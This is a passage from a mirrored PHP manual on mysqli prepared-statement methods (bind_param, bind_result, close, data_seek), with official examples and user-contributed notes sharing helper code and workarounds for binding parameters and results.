            $res['role_id'] = $col3;
            $res['error'] = 0;
   }
   $stmt->close;
   return $res;
}

?>
eisoft 18-Mar-2010 03:42
I did a prepared statement for inserting in a simple table - images ( blob ) and their unique identifiers ( string ). All my blobs have smaller sizes than the MAX-ALLOWED-PACKET value.

I've found that when binding my BLOB parameter, I need to pass it as a STRING, otherwise it's truncated to zero length in my table. So I have to do this:

<?php
   $ok = $stmt->bind_param( 'ss', $id, $im ) ;
?>
fabio at kidopi dot com dot br 15-Mar-2010 09:14
I used to have problems with call_user_func_array and bind_param after migrating to php 5.3.

The problem is that 5.3 requires array values as reference while 5.2 works with real values.

so i created a secondary function to help me with this...

<?php
function refValues($arr){
    if (strnatcmp(phpversion(),'5.3') >= 0) //Reference is required for PHP 5.3+
    {
        $refs = array();
        foreach($arr as $key => $value)
            $refs[$key] = &$arr[$key];
        return $refs;
    }
    return $arr;
}
?>

and changed my previous function from:

<?php
call_user_func_array(array($this->stmt, "bind_param"),$this->valores);
?>

to:

<?php
call_user_func_array(array($this->stmt, "bind_param"),refValues($this->valores));
?>

in this way my db functions keep working in php 5.2/5.3 servers.

I hope this help someone.
rejohns at nOsPaMpost dot harvard dot edu 10-Feb-2010 08:24
You can, in fact, use mysqli_bind_parameter to pass a NULL value to the database. simply create a variable and store the NULL value (see the manpage for it) to the variable and bind that. Works great for me anyway.
Miguel Hatrick 17-Jul-2009 08:14
This might be helpful for someone. I made a class to manage the parameters

Its used like this:

<?php
$stmt = $mysqli->prepare("CALL item_add(?, ?, ?, ?)");

$sp = new Statement_Parameter();

$sp->Add_Parameter('mydescription', Statement_Parameter_Type::$STATEMENT_TYPE_STRING);
$sp->Add_Parameter('myean',            Statement_Parameter_Type::$STATEMENT_TYPE_STRING);
$sp->Add_Parameter('myprice',        Statement_Parameter_Type::$STATEMENT_TYPE_DOUBLE);
$sp->Add_Parameter('myactive',        Statement_Parameter_Type::$STATEMENT_TYPE_INTEGER);

// call this to bind the parameters
$sp->Bind_Params($stmt);

//you can then modify the values as you wish
$sp->Set_Parameter('myactive',0);
$sp->Set_Parameter('mydescription','whatever');

/* execute prepared statement */
$stmt->execute();

class Statement_Parameter
{
    private $_array = array();

    public function __constructor()
    {
    }

    public function Add_Parameter($name, $type, $value = NULL)
    {
        $this->_array[$name] = array("type" => $type, "value" => $value);
    }

    public function Get_Type_String()
    {
        $types = "";

        foreach($this->_array as $name => $la)
            $types .= $la['type'];

        return $types;
    }

    public function Set_Parameter($name, $value)
    {
        if (isset($this->_array[$name]))
        {
            $this->_array[$name]["value"] = $value;
            return true;
        }
        return false;
    }

    public function Bind_Params(&$stmt)
    {
        $ar = Array();

        $ar[] = $this->Get_Type_String();

        foreach($this->_array as $name => $la)
            $ar[] = &$this->_array[$name]['value'];

        return call_user_func_array(array($stmt, 'bind_param'),$ar);
    }
}

class Statement_Parameter_Type
{
    public static $STATEMENT_TYPE_INTEGER = 'i';
    public static $STATEMENT_TYPE_DOUBLE =     'd';
    public static $STATEMENT_TYPE_STRING =     's';
    public static $STATEMENT_TYPE_BLOB =     'b';
}
?>
Kai Sellgren 12-Mar-2009 03:26
A few notes on this function.

If you specify type "i" (integer), the maximum value it allows you to have is 2^32-1 or 2147483647. So, if you are using UNSIGNED INTEGER or BIGINT in your database, then you are better off using "s" (string) for this.

Here's a quick summary:
(UN)SIGNED TINYINT: I
(UN)SIGNED SMALLINT: I
(UN)SIGNED MEDIUMINT: I
SIGNED INT: I
UNSIGNED INT: S
(UN)SIGNED BIGINT: S

(VAR)CHAR, (TINY/SMALL/MEDIUM/BIG)TEXT/BLOB should all have S.

FLOAT/REAL/DOUBLE (PRECISION) should all be D.

That advice was for MySQL. I have not looked into other database software.
tasdildiren at gmail dot com 25-Feb-2009 02:29
<?php
/* just explaining how to call mysqli_stmt_bind_param with a parameter array */

$sql_link = mysqli_connect('localhost', 'my_user', 'my_password', 'world');
$type = "isssi";
$param = array("5", "File Description", "File Title", "Original Name", time());
$sql = "INSERT INTO file_detail (file_id, file_description, file_title, file_original_name, file_upload_date) VALUES (?, ?, ?, ?, ?)";
$sql_stmt = mysqli_prepare ($sql_link, $sql);
call_user_func_array('mysqli_stmt_bind_param', array_merge (array($sql_stmt, $type), $param);
mysqli_stmt_execute($sql_stmt);
?>
Mahees 21-Feb-2009 10:34
///////////////////////////////

Im sure many of you may want to use this functionality.

spent about 3hours writing this, so maybe i can save somone else some time, you can break it up into smaller functions for reuse as you wish.

the mysqli stmt bind param (mysqli_stmt_bind_param) function only takes one variable at a time, so its difficult to pass in a few variables to fill in the placeholder space.

this allows mysqli prepared statements with variable arguments, one sql template with multiple placeholders to be prepared and excuted.

hope this helps somone,
Mahees.

///////////////////////////////

<?php
$uname = 'mahees';
$pass = 'mahees';

$userPassArr = DataAccess::fetch('SELECT * FROM users WHERE username = ? AND password = ?', $uname, $pass);
print_r($userPassArr);

/*
Array
(
    [0] => Array
        (
            [id] => 1
            [username] => mahees
            [password] => mahees
        )

)
*/

$userPassArr = DataAccess::fetch('SELECT * FROM users');
print_r($userPassArr);

/*
Array
(
    [0] => Array
        (
            [id] => 1
            [username] => mahees
            [password] => mahees
        )

    [1] => Array
        (
            [id] => 4
            [username] => foo
            [password] => bar
        )

    [2] => Array
        (
            [id] => 5
            [username] => bar
            [password] => baz
        )

)
*/

//********* function in DataAccess class *********
//im sure this can be written better with more checks...but principle stands

    static function fetch() {
        $args = func_get_args();
        $sql = array_shift($args);
        $link = self::establish_db_conn();
        if (!$stmt = mysqli_prepare($link, $sql)) {
            self::close_db_conn();
            die('Please check your sql statement : unable to prepare');
        }
        $types = str_repeat('s', count($args));
        array_unshift($args, $types);
        array_unshift($args, $stmt);
        call_user_func_array('mysqli_stmt_bind_param', $args);

        mysqli_stmt_execute($stmt);

        $result = mysqli_stmt_result_metadata($stmt);
        $fields = array();
        while ($field = mysqli_fetch_field($result)) {
            $name = $field->name;
            $fields[$name] = &$$name;
        }
        array_unshift($fields, $stmt);
        call_user_func_array('mysqli_stmt_bind_result', $fields);

        array_shift($fields);
        $results = array();
        while (mysqli_stmt_fetch($stmt)) {
            $temp = array();
            foreach($fields as $key => $val) { $temp[$key] = $val; }
            array_push($results, $temp);
        }

        mysqli_free_result($result);
        mysqli_stmt_close($stmt);
        self::close_db_conn();

        return $results;
    }
?>
mark at x2software dot net 07-Sep-2008 02:26
I wanted to pass the parameters for several queries to a single function to fill them (insert / update having the same fields for example), while at the same time making the types array a bit easier to maintain when you've got a lot of parameters. Here's a simple solution I came up with:

<?php
function bindParameters(&$statement, &$params)
{
  $args   = array();
  $args[] = implode('', array_values($params));

  foreach ($params as $paramName => $paramType)
  {
    $args[] = &$params[$paramName];
    $params[$paramName] = null;
  }

  call_user_func_array(array(&$statement, 'bind_param'), $args);
}

// Usage:
$statement = $database->prepare('INSERT INTO test (value1, value2) VALUES (?, ?)');
$params    = array('param1' => 's',
                   'param2' => 'i');

bindParameters($statement, $params);

$params['param1'] = 'parameter test';
$params['param2'] = 42;

$statement->execute();
?>

Note that the types will be overwritten after a call to bindParameters to provide a sensible default (otherwise it will be used as the parameter value when you execute the statement), so you need to reinitialize the types if you want to bind it to another statement.
jette at nerdgirl dot dk 17-Jul-2008 01:46
I already have a database class that makes everything nice and easy. But when it came to preparing, binding and executing, I found it was a real challenge to boil things down.

But luckily I stumbled over a bug-report with a workaround, that pointed me in the right direction.: http://bugs.php.net/bug.php?id=43568

I now execute stored procedures (aka routines) like this:

<?php
$db = new myDb();
$db->execProcedure('call someProc(?,?)','ss',array('param1','param2'));
?>

And this is the code to make it happen:
(I extracted this example from a bigger context, but you probably get the idea)

<?php
class myDb extends mysqli {

  public function  __construct() {
    //Connection established here
  }

  public function execProcedure($call,$types,$params) {
    $stmt = $this->prepare($call);
    $bind_names[] = $types;
    for ($i=0; $i<count($params);$i++) {
      $bind_name = 'bind' . $i;
      $$bind_name = $params[$i];
      $bind_names[] = &$$bind_name;
    }
    $return = call_user_func_array(array($stmt,'bind_param'),$bind_names);
    $stmt->execute();
    $stmt->close();
  }
}
michael dot martinek at gmail dot com 30-Dec-2007 05:00
Small correction. This version removes the NULL element from the array, so it doesn't fall on to the next ? when passed to mysql_stmt_bind_param(). Note that $saParams is still passed by reference, but now it is being modified.

<?php

function preparse_prepared($sQuery, &$saParams)
{
    $nPos = 0;

    $sRetval = $sQuery;
    foreach ($saParams as $x_Key => $Param)
    {
        //if we find no more ?'s we're done then
        if (($nPos = strpos($sQuery, '?', $nPos + 1)) === false)
        {
            break;
        }

        //this test must be done second, because we need to increment offsets of $nPos for each ?.
        //we have no need to parse anything that isn't NULL.
        if (!is_null($Param))
        {
            continue;
        }

        //null value, replace this ? with NULL.
        $sRetval = substr_replace($sRetval, 'NULL', $nPos, 1);

        //unset this element now
        unset($saParams[$x_Key]);
    }

    return $sRetval;
}

?>
michael dot martinek at gmail dot com 30-Dec-2007 04:52
I've found that you can't pass NULL values in using mysql_stmt_bind_param. Recently I ran into this problem because I wrote some MySQL routines that would update existing data, but only when the value wasn't NULL.

My solution to work around this is simple:

<?php

function preparse_prepared($sQuery, &$saParams)
{
    $nPos = 0;

    $sRetval = $sQuery;
    foreach ($saParams as $Param)
    {
        //if we find no more ?'s we're done then
        if (($nPos = strpos($sQuery, '?', $nPos + 1)) === false)
        {
            break;
        }

        //this test must be done second, because we need to increment offsets of $nPos for each ?.
        //we have no need to parse anything that isn't NULL.
        if (!is_null($Param))
        {
            continue;
        }

        //null value, replace this ? with NULL.
        $sRetval = substr_replace($sRetval, 'NULL', $nPos, 1);
    }

    return $sRetval;
}

?>

This will iterate the given list of parameters and replace any null values in the query with an actual null value. You'll want to use the resulting $sQuery to pass to mysqli_prepare(). For that, I use another routine that generates a list of the values (s, i, etc).

For example:

<?php

                    array_unshift($saParams, $this->getPreparedTypeString($saParams));
                    array_unshift($saParams, $stmt);

                    call_user_func_array('mysqli_stmt_bind_param', $saParams);

?>

Where getPreparedTypeString is defined as:

<?php

        public static function getPreparedTypeString(&$saParams)
        {
            $sRetval = '';

            //if not an array, or empty.. return empty string
            if (!is_array($saParams) || !count($saParams))
            {
                return $sRetval;
            }

            //iterate the elements and figure out what they are, and append to result
            foreach ($saParams as $Param)
            {
                if (is_int($Param))
                {
                    $sRetval .= 'i';
                }
                else if (is_double($Param))
                {
                    $sRetval .= 'd';
                }
                else if (is_string($Param))
                {
                    $sRetval .= 's';
                }
            }

            return $sRetval;
        }

?>

To clarify why I pass array values by reference: They aren't being modified, so I don't want copies of them begin made in memory as they may be large. In other languages, this is much more efficient. Not sure if PHP handles passing values on a "copy on edit" basis.. but I'm guessing not.
Anonymous 15-Dec-2007 10:24
It's worth noting that you have to bind all parameters in one fell swoop - you can't go through and call bind_param once for each.
usera at example dot com 20-Jul-2007 08:50
Some examples in the documentation suggest that you can call $stmt->bind_param() once, then call $stmt->execute() several times while altering the bound variables each time, so as to e.g. insert several records into a data base. This is not true.

You need to call $stmt->bind_param() once each time AFTER you altered the set of variables, and BEFORE you call $stmt->execute()

This may be a bug. If it is not, the documentation is flawed, and there is no gain to the programmer using the new mysqli interface at this point.
mixleplix1 at yahoo dot com 19-Jun-2007 01:12
To continue on previous post
Bigints and the 'd' type:

If the digit you insert is longer then 16 digits the last digits will alter. I was noticing this in my inserts.

1111111111111111111 changes to 1111111111111111168

I had to switch to using 's' as type
flame 18-Feb-2007 08:44
Columns with type bigint need to be specified as type 'd' NOT 'i'.

Using 'i' results in large numbers (eg 3000169151) being truncated.

--
flame
mysqli_stmt::attr_set
mysqli_stmt::bind_result
mysqli_stmt


Binds variables to a prepared statement for result storage

mysqli_stmt::bind_param
mysqli_stmt::close
mysqli_stmt
PHP Manual

mysqli_stmt::bind_result

mysqli_stmt_bind_result

(PHP 5)

mysqli_stmt::bind_result -- mysqli_stmt_bind_result — Binds variables to a prepared statement for result storage

Description

Object oriented style

bool mysqli_stmt::bind_result ( mixed &$var1 [, mixed &$... ] )

Procedural style

bool mysqli_stmt_bind_result ( mysqli_stmt $stmt , mixed &$var1 [, mixed &$... ] )

Binds columns in the result set to variables.

When mysqli_stmt_fetch() is called to fetch data, the MySQL client/server protocol places the data for the bound columns into the specified variables var1, ....

Note:

Note that all columns must be bound after mysqli_stmt_execute() and prior to calling mysqli_stmt_fetch(). Depending on column types bound variables can silently change to the corresponding PHP type.

A column can be bound or rebound at any time, even after a result set has been partially retrieved. The new binding takes effect the next time mysqli_stmt_fetch() is called.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

var1

The variable to be bound.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* prepare statement */
if ($stmt = $mysqli->prepare("SELECT Code, Name FROM Country ORDER BY Name LIMIT 5")) {
    $stmt->execute();

    /* bind variables to prepared statement */
    $stmt->bind_result($col1, $col2);

    /* fetch values */
    while ($stmt->fetch()) {
        printf("%s %s\n", $col1, $col2);
    }

    /* close statement */
    $stmt->close();
}
/* close connection */
$mysqli->close();

?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* prepare statement */
if ($stmt = mysqli_prepare($link, "SELECT Code, Name FROM Country ORDER BY Name LIMIT 5")) {
    mysqli_stmt_execute($stmt);

    /* bind variables to prepared statement */
    mysqli_stmt_bind_result($stmt, $col1, $col2);

    /* fetch values */
    while (mysqli_stmt_fetch($stmt)) {
        printf("%s %s\n", $col1, $col2);
    }

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

AFG Afghanistan
ALB Albania
DZA Algeria
ASM American Samoa
AND Andorra

See Also

  • mysqli_stmt_bind_param() - Binds variables to a prepared statement as parameters
  • mysqli_stmt_execute() - Executes a prepared Query
  • mysqli_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • mysqli_prepare() - Prepare an SQL statement for execution
  • mysqli_stmt_prepare() - Prepare an SQL statement for execution
  • mysqli_stmt_init() - Initializes a statement and returns an object for use with mysqli_stmt_prepare
  • mysqli_stmt_errno() - Returns the error code for the most recent statement call
  • mysqli_stmt_error() - Returns a string description for last statement error

User Contributed Notes

dev+php at alepe dot com 25-Jul-2011 10:31
According to the above documentation:
"Depending on column types bound variables can silently change to the corresponding PHP type. "

if you specify a field as int (tinyint, mediumint, etc.) with zerofill property, it will be converted (silently) to PHP integer (erasing the leading zeros). In order to keep those leading zeros, one solution is to specify the field as decimal.

Note that this only happens when using prepared statements and not when executing the query directly.
scragar at gmail dot com 16-Jun-2011 12:02
To clarify for anyone having problems with arrays, PHP will automatically pass arrays as references, cloning the array if needed in the event of setting or unsetting a part of it, changing a referenced variable does not trigger cloning.

This is done for efficiency, to clone an array containing this information you may either use a foreach loop, or set/unset a key. Techniques like array_values will also work provided you don't mind losing your keys.
nieprzeklinaj at gmail dot com 01-Feb-2011 01:02
I wrote a function that fetches all rows from a result set - either normal or prepared.

<?php
function fetch($result)
{
    $array = array();

    if($result instanceof mysqli_stmt)
    {
        $result->store_result();

        $variables = array();
        $data = array();
        $meta = $result->result_metadata();

        while($field = $meta->fetch_field())
            $variables[] = &$data[$field->name]; // pass by reference

        call_user_func_array(array($result, 'bind_result'), $variables);

        $i=0;
        while($result->fetch())
        {
            $array[$i] = array();
            foreach($data as $k=>$v)
                $array[$i][$k] = $v;
            $i++;

            // don't know why, but when I tried $array[] = $data, I got the same one result in all rows
        }
    }
    elseif($result instanceof mysqli_result)
    {
        while($row = $result->fetch_assoc())
            $array[] = $row;
    }

    return $array;
}
?>

Simply call it passing a result set or executed statement and you'll get all rows fetched.
quano 23-Dec-2010 04:19
If I have a longtext field in the result, the whole page will go blank, without giving me any errors what so ever. This is because PHP _crashes_. I've spent an entire morning figuring this out.

Apparently, if you have longtext present, you HAVE to call store_result before using bind_result.

http://bugs.php.net/bug.php?id=47928
achatzi at gmail dot com 19-Oct-2010 01:54
Please note that if you have a column in the database with data type "Longtext" the bind_result will return an empty result for that column.  It took me 5 days to figure it out!
pcc at pccglobal dot com 31-Jul-2010 07:06
If done properly, 'call_user_func_array()' works to bind variables to a result of multiple columns including BLOB columns.

EXAMPLE:

<?php
$data = array() ; // Array that accepts the data.
$params = array() ; // Parameter array passed to 'bind_result()'
$column = array("fidentity", "fvarchar", "fdate", "ftinyblob") ; // The column names.
foreach($column as $col_name)
{
  // 'fetch()' will assign fetched value to the variable '$data[$col_name]'
  $params[] =& $data[$col_name] ;
}
$res = call_user_func_array(array($stmt, "bind_result"), $params) ;
?>

Here's the complete example.
WARNING: When using 'prepare' to prepare a statement to retrieve LOBs the method order matters.
Also, method 'store_result()' must be called and be called in correct order.
Failure to observe this causes PHP/MySQLi to crash or return an erroneous value.
The proper procedure order is: prepare -> execute -> store_result -> bind -> fetch

<?php
$database = "test" ;
$table = "test" ;
$column = array("fidentity", "fvarchar", "fdate", "ftinyblob") ;
$select_set = "`fidentity`, `fvarchar`, `fdate`, `ftinyblob`" ;
$mysqli = new mysqli("localhost", "root", $password, $database);
// Proper procedure order: prepare -> execute -> store_result -> bind -> fetch
$stmt = $mysqli->prepare("SELECT $select_set FROM `$table`") ;
$stmt->execute();
$stmt->store_result();
$data = array() ; // Array that accepts the data.
$params = array() ; // Parameter array passed to 'bind_result()'
foreach($column as $col_name)
{
  // Assign the fetched value to the variable '$data[$name]'
  $params[] =& $data[$col_name] ;
}
$res = call_user_func_array(array($stmt, "bind_result"), $params) ;
if(! $res)
{
  echo "bind_result() failed: " . $mysqli->error . "\n" ;
}
else
{
  $res = $stmt->fetch() ;
  if($res)
  {
      echo "<pre>" . htmlentities(print_r($data, true)) . "</pre>\n" ;
  }
  else
  {
    echo ((false !== $res) ? "End of data" : $stmt->error) . "\n" ;
  }
}
$stmt->close() ;
$mysqli->close() ;
exit ;
?>

The above example should output:
Array (
  [fidentity] => 24
  [fvarchar] => the rain in spain
  [fdate] => 2010-07-31
  [ftinyblob] => GIF89a...(more BLOB data)
)
swissbob2 at yahoo dot co dot uk 28-Jun-2010 04:08
I discovered this one by accident; mysqli_stmt_bind_result overwrites an *existing* session variable of the same name (but doesn't create them).

In other words,

    mysqli_stmt_bind_result($stmt, $col1, $col2);

will overwrite session variables $_SESSION['col1'] and $_SESSION['col2'] if they exist, but will not create them if they don't.
uramihsayibok, gmail, com 27-Jul-2009 01:35
A note to people to want to return an array of results - that is, an array of all the results from the query, not just one at a time.

<?php

// blah blah...
call_user_func_array(array($mysqli_stmt_object, "bind_result"), $byref_array_for_fields);

$results = array();
while ($mysqli_stmt_object->fetch()) {
    $results[] = $byref_array_for_fields;
}

?>
This will NOT work. $results will have a bunch of arrays, but each one will have a reference to $byref.

PHP is optimizing performance here: you aren't so much copying the $byref array into $results as you are *adding* it. That means $results will have a bunch of $byrefs - the same array repeated multiple times. (So what you see is that $results is all duplicates of the last item from the query.)

hamidhossain (01-Sep-2008) shows how to get around that: inside the loop that fetches results you also have to loop through the list of fields, copying them as you go. In effect, copying everything individually.

Personally, I'd rather use some kind of function that effectively duplicates an array than write my own code. Many of the built-in array functions don't work, apparently using references rather than copies, but a combination of array_map and create_function does.

<?php

// blah blah...
call_user_func_array(array($mysqli_stmt_object, "bind_result"), $byref_array_for_fields);

// returns a copy of a value
$copy = create_function('$a', 'return $a;');

$results = array();
while ($mysqli_stmt_object->fetch()) {
    // array_map will preserve keys when done here and this way
    $results[] = array_map($copy, $byref_array_for_fields);
}

?>

All these problems would go away if they just implemented a fetch_assoc or even fetch_array for prepared statements...
Miguel Hatrick 17-Jul-2009 09:18
Took some cool code from here and made a little class for those object oriented kind of guys

used like this:

<?php
// execute prepared statement
$stmt->execute();
$stmt->store_result();

//custom class :D bind to Statement Result mambo jambo!
$sr = new Statement_Result($stmt);

$stmt->fetch();
printf("ID: %d\n", $sr->Get('id') );

/////////////////////////////////

class Statement_Result
{
    private $_bindVarsArray = array();
    private $_results = array();

    public function __construct(&$stmt)
    {
        $meta = $stmt->result_metadata();

        while ($columnName = $meta->fetch_field())
            $this->_bindVarsArray[] = &$this->_results[$columnName->name];

        call_user_func_array(array($stmt, 'bind_result'), $this->_bindVarsArray);

        $meta->close();
    }

    public function Get_Array()
    {
        return $this->_results;
    }

    public function Get($column_name)
    {
        return $this->_results[$column_name];
    }
}
?>
atulkashyap1 at hotmail dot com 25-Apr-2009 03:31
bind_ result can also be used to return an array of variables from a function,
This took me a long time to figure out, so I would like to share this.

<?php
function extracting(){
  $query="SELECT topic, detail, date, tags
    FROM updates
    ORDER BY date DESC
    LIMIT 5 ";
  if($stmt = $this->conn->prepare($query)) {
    $stmt->execute();
    $stmt->bind_result($updates[0],$updates[1],$updates[2],$updates[3]);
    $i=0;
    while($stmt->fetch()){
      $i++;
      $name='t'.$i;
      $$name = array($updates[0],$updates[1],$updates[2],$updates[3]);
    }
    return array($t1,$t2,$t3,$t4,$t5,);
    $stmt->close();
  }
}
?>
hamidhossain at gmail dot com 01-Sep-2008 07:07
lot of people don't like how bind_result works with prepared statements! it requires you to pass long list of parameters which will be loaded with column value when the function being called.

To solve this, i used call_user_func_array function and result_metadata functions. which make easy and automatically returns an array of all columns results stored in an array with column names.

please don't forget to change setting variables with your own credentials:

<?php
$host = 'localhost';
$user = 'root';
$pass = '1234';
$data = 'test';

$mysqli = new mysqli($host, $user, $pass, $data);
/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($stmt = $mysqli->prepare("SELECT * FROM sample WHERE t2 LIKE ?")) {
    $tt2 = '%';

    $stmt->bind_param("s", $tt2);
    $stmt->execute();

    $meta = $stmt->result_metadata();
    while ($field = $meta->fetch_field())
    {
        $params[] = &$row[$field->name];
    }

    call_user_func_array(array($stmt, 'bind_result'), $params);

    while ($stmt->fetch()) {
        foreach($row as $key => $val)
        {
            $c[$key] = $val;
        }
        $result[] = $c;
    }

    $stmt->close();
}
$mysqli->close();
print_r($result);
?>
bb at servertje dot nl 23-Feb-2008 03:24
Although inspired by an earlier post, this method could be added to any of your database objects. It's an object oriented implementation of an earlier post.

The method returns an array with objects representing a row. Each property represents a column and its value.

<?php
    private function getresult($stmt)
    {
      $result = array();

      $metadata = $stmt->result_metadata();
      $fields = $metadata->fetch_fields();

      for (;;)
      {
        $pointers = array();
        $row = new stdClass();

        $pointers[] = $stmt;
        foreach ($fields as $field)
        {
          $fieldname = $field->name;
          $pointers[] = &$row->$fieldname;
        }

        call_user_func_array(mysqli_stmt_bind_result, $pointers);

        if (!$stmt->fetch())
          break;

        $result[] = $row;
      }

      $metadata->free();

      return $result;
    }
?>
thejkwhosaysni at gmail dot com 19-Oct-2005 01:12
I've created these functions which will act like mysqli_fetch_array() and mysqli_fetch_object() but work with bound results.

<?php
    function fetch_object() {
        $data = mysqli_stmt_result_metadata($this->stmt);
        $count = 1; //start the count from 1. First value has to be a reference to stmt.
        $fieldnames[0] = &$this->stmt;
        $obj = new stdClass;
        while ($field = mysqli_fetch_field($data)) {
            $fn = $field->name; //get all the feild names
            $fieldnames[$count] = &$obj->$fn; //load the fieldnames into an object..
            $count++;
        }
        call_user_func_array(mysqli_stmt_bind_result, $fieldnames);
        mysqli_stmt_fetch($this->stmt);
        return $obj;
    }

    function fetch_array() {
        $data = mysqli_stmt_result_metadata($this->stmt);
        $count = 1; //start the count from 1. First value has to be a reference to the stmt. because bind_param requires the link to $stmt as the first param.
        $fieldnames[0] = &$this->stmt;
        while ($field = mysqli_fetch_field($data)) {
            $fieldnames[$count] = &$array[$field->name]; //load the fieldnames into an array.
            $count++;
        }
        call_user_func_array(mysqli_stmt_bind_result, $fieldnames);
        mysqli_stmt_fetch($this->stmt);
        return $array;

    }

?>

Hope this helps some people, I was puzzled by this for a while.
andrey at php dot net 07-Oct-2005 05:38
If you select LOBs use the following order of execution or you risk mysqli allocating more memory that actually used

1)prepare()
2)execute()
3)store_result()
4)bind_result()

If you skip 3) or exchange 3) and 4) then mysqli will allocate memory for the maximal length of the column which is 255 for tinyblob, 64k for blob(still ok), 16MByte for MEDIUMBLOB - quite a lot and 4G for LONGBLOB (good if you have so much memory). Queries which use this order a bit slower when there is a LOB but this is the price of not having memory exhaustion in seconds.
matti at withoutthis dot keller dot com 25-Jul-2005 07:30
Hi
I saw a bit of discussion about using mysqli_stmt_bin_result dynamically, without knowing exactly how many columns will be returned.
After a while i developed this snippet to mimic the same behaviour as mysql_fetch_array():
<?php
# of fields in result set.
$nof = mysqli_num_fields( mysqli_stmt_result_metadata($handle) );

# The metadata of all fields
$fieldMeta = mysqli_fetch_fields( mysqli_stmt_result_metadata($handle) );

# convert it to a normal array just containing the field names
$fields = array();
for($i=0; $i < $nof; $i++)
    $fields[$i] = $fieldMeta[$i]->name;

# The idea is to get an array with the result values just as in mysql_fetch_assoc();
# But we have to use call_user_func_array to pass the right number of args ($nof+1)
# So we create an array:
# array( $stmt, &$result[0], &$result[1], ... )
# So we get the right values in $result in the end!

# Prepare $result and $arg (which will be passed to bind_result)
$result = array();
$arg = array($this->stmt);
for ($i=0; $i < $nof; $i++) {
    $result[$i] = '';
    $arg[$i+1] = &$result[$i];
}

call_user_func_array ('mysqli_stmt_bind_result',$arg);

# after mysqli_stmt_fetch(), our result array is filled just perfectly,
# but it is numbered (like in mysql_fetch_array() ), not indexed by field name!
# If you just want to mimic that ones behaviour you can stop here :)

mysqli_stmt_fetch($this->stmt);

# Now you can use $result
print_r($result);

# But beware! when using the fetch in a loop, always COPY $result or else you might
# end with all the same values because of the references
?>
Hope that this will help someone....
Matt
brad dot jackson at resiideo dot com 22-Mar-2005 09:10
A potential problem exists in binding result parameters from a prepared statement which reference large datatypes like mediumblobs.  One of our database tables contains a table of binary image data.  Our largest image in this table is around 50Kb, but even so the column is typed as a mediumblob to allow for files larger than 64Kb.  I spent a frustrating hour trying to figure out why mysqli_stmt_bind_result choked while trying to allocate 16MB of memory for what should have been at most a 50Kb result, until I realized the function is checking the column type first to find out how big a result _might_ be retrieved, and attempting to allocate that much memory to contain it.  My solution was to use a more basic mysqli_result() query.  Another option might have been to retype the image data column as blob (64Kb limit).
mysqli_stmt::bind_param
mysqli_stmt::close
mysqli_stmt


Closes a prepared statement

mysqli_stmt::bind_result
mysqli_stmt::data_seek
mysqli_stmt
PHP Manual

mysqli_stmt::close

mysqli_stmt_close

(PHP 5)

mysqli_stmt::close -- mysqli_stmt_close — Closes a prepared statement

Description

Object oriented style

bool mysqli_stmt::close ( void )

Procedural style

bool mysqli_stmt_close ( mysqli_stmt $stmt )

Closes a prepared statement. mysqli_stmt_close() also deallocates the statement handle. If the current statement has pending or unread results, this function cancels them so that the next query can be executed.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mysqli_prepare() - Prepare an SQL statement for execution

User Contributed Notes

daniel dot kipp at web dot de 17-Jan-2006 09:06
if you are repeating an statement in an loop using bind_param and so on inside it for a larger operation. i thougt id would be good to clean it with stmt->close. but it broke always with an error after aprox. 250 operations . As i tried it with  stmt->reset it worked for me.
mysqli_stmt::bind_result
mysqli_stmt::data_seek
mysqli_stmt


Seeks to an arbitrary row in statement result set

mysqli_stmt::close
mysqli_stmt::$errno
mysqli_stmt
PHP Manual

mysqli_stmt::data_seek

mysqli_stmt_data_seek

(PHP 5)

mysqli_stmt::data_seek -- mysqli_stmt_data_seek — Seeks to an arbitrary row in statement result set

Description

Object oriented style

void mysqli_stmt::data_seek ( int $offset )

Procedural style

void mysqli_stmt_data_seek ( mysqli_stmt $stmt , int $offset )

Seeks to an arbitrary result pointer in the statement result set.

mysqli_stmt_store_result() must be called prior to mysqli_stmt_data_seek().

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

offset

Must be between zero and the total number of rows minus one (0.. mysqli_stmt_num_rows() - 1).

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

    /* execute query */
    $stmt->execute();

    /* bind result variables */
    $stmt->bind_result($name, $code);

    /* store result */
    $stmt->store_result();

    /* seek to row no. 400 */
    $stmt->data_seek(399);

    /* fetch values */
    $stmt->fetch();

    printf ("City: %s  Countrycode: %s\n", $name, $code);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

    /* execute query */
    mysqli_stmt_execute($stmt);

    /* bind result variables */
    mysqli_stmt_bind_result($stmt, $name, $code);

    /* store result */
    mysqli_stmt_store_result($stmt);

    /* seek to row no. 400 */
    mysqli_stmt_data_seek($stmt, 399);

    /* fetch values */
    mysqli_stmt_fetch($stmt);

    printf ("City: %s  Countrycode: %s\n", $name, $code);

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

City: Benin City  Countrycode: NGA

See Also

  • mysqli_prepare() - Prepare an SQL statement for execution

User Contributed Notes

phpnet at stuffonmylaptop dot com 23-Nov-2011 03:25
